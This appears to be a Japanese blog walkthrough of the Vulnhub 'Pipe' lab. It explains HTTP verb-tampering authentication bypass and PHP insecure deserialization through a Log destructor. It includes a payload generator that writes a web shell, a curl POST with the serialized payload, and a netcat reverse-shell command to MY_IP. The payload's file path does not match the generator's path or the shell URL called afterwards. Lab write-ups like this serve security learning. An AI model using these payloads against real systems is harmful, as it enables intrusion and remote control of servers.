#はじめに
ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。そのためポートスキャンや権限昇格といった内容は省略しています。
このブログを参考にしています。こっちの方が分かりやすいかもしれません。
Pipe - Insecure Deserialization
#/dev/random: Pipe
Pipeは、3つのPHPファイルで構成されているWebアプリです。
- サーバ名: /dev/random: Pipe
- リリース日: 2015年10月2日
- 作者: Sagi-
- リリーズ: /dev/random
#ソースコード検証
HTTPアクセスには、ベーシック認証が必要です。
しかし以下のとおり、HTTP Verb Tamperingで認証回避が可能となっています。
AuthUserFile /var/www/html/.htpasswd
AuthName "index.php"
AuthType Basic
<Limit GET PUT HEAD OPTIONS DELETE>
require valid-user
</Limit>
index.phpでは、著者の情報を取得するためにInfo
のインスタンスが生成され、POSTパラメータparam
でシリアライズされたオブジェクトと比較されます。
- HTTP POSTパラメータ
param
が値をチェックされずにunserialize()
されている。 - index.php内に
import
が2種類ある。
- info.php
- log.php
<?php
include 'info.php';
include 'log.php';
$artist = new Info();
$artist->id = 1;
$artist->firstname = 'Rene';
$artist->surname = 'Margitte';
$artist->details = '...';
...
if (isset($_POST['param'])) {
$info = unserialize($_POST['param']);
if (strcasecmp($info->firstname, $artist->firstname) == 0 && strcasecmp($info->surname, $artist->surname) == 0){
echo $artist->details;
}
}
...
?>
info.phpは、メソッドを持たないクラスなのでlog.phpを参照します。
<?php
class Log
{
public $filename = '';
public $data = '';
public function __construct()
{
$this->filename = '';
$this->data = '';
}
public function PrintLog()
{
$pre = "[LOG]";
$now = date('Y-m-d H:i:s');
$str = '$pre - $now - $this->data';
eval("\$str = \"$str\";");
echo $str;
}
public function __destruct()
{
file_put_contents($this->filename, $this->data, FILE_APPEND);
}
}
?>
クラス内には、filename
とdata
の2つの変数があります。
デシリアライズしたインスタンスが破棄されるとdata
の内容はfilename
に書きこまれます。
アプリケーションでクラスが定義されているので、デストラクタが攻撃に悪用できます。
- シリアライズされた
Log
のHTTP POSTがIndex.phpに送信される。 - index.phpは、unserialize()を呼び出し、デシリアライズで
Log
のインスタンスを作成する。 - index.phpの呼び出しが終了する。
-
Log
のインスタンスオブジェクトは呼び出しが終わると破棄される。 - __destruct()
#Exploitation
シリアライズされたInfo
のインスタンスを書き換えてバックドアを仕込みます。
まずペイロードを作成するgenerate.phpを作ります。
<?php
class Log
{
public $filename="/var/www/html/scriptz/shell.php";
public $data="<?php system(\$_GET['cmd']);?>";
}
print(urlencode(serialize(new Log))."\n");
?>
generate.phpを実行します。
php generate.php
生成されたパラメータをPOSTします。
curl -ksi -X POST 'http://pipe.local/index.php' --data-binary 'param=O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A24%3A%22%2Fvar%2Fwww%2Fhtml%2Fshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A29%3A%22%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D'
リバースシェルを発動させます。
curl http://pipe.local/scriptz/shell.php?cmd=nc+-e+/bin/bash+MY_IP+4444
#最後に
安全でないデシリアライゼーションを理解するのにいいマシンだと思います。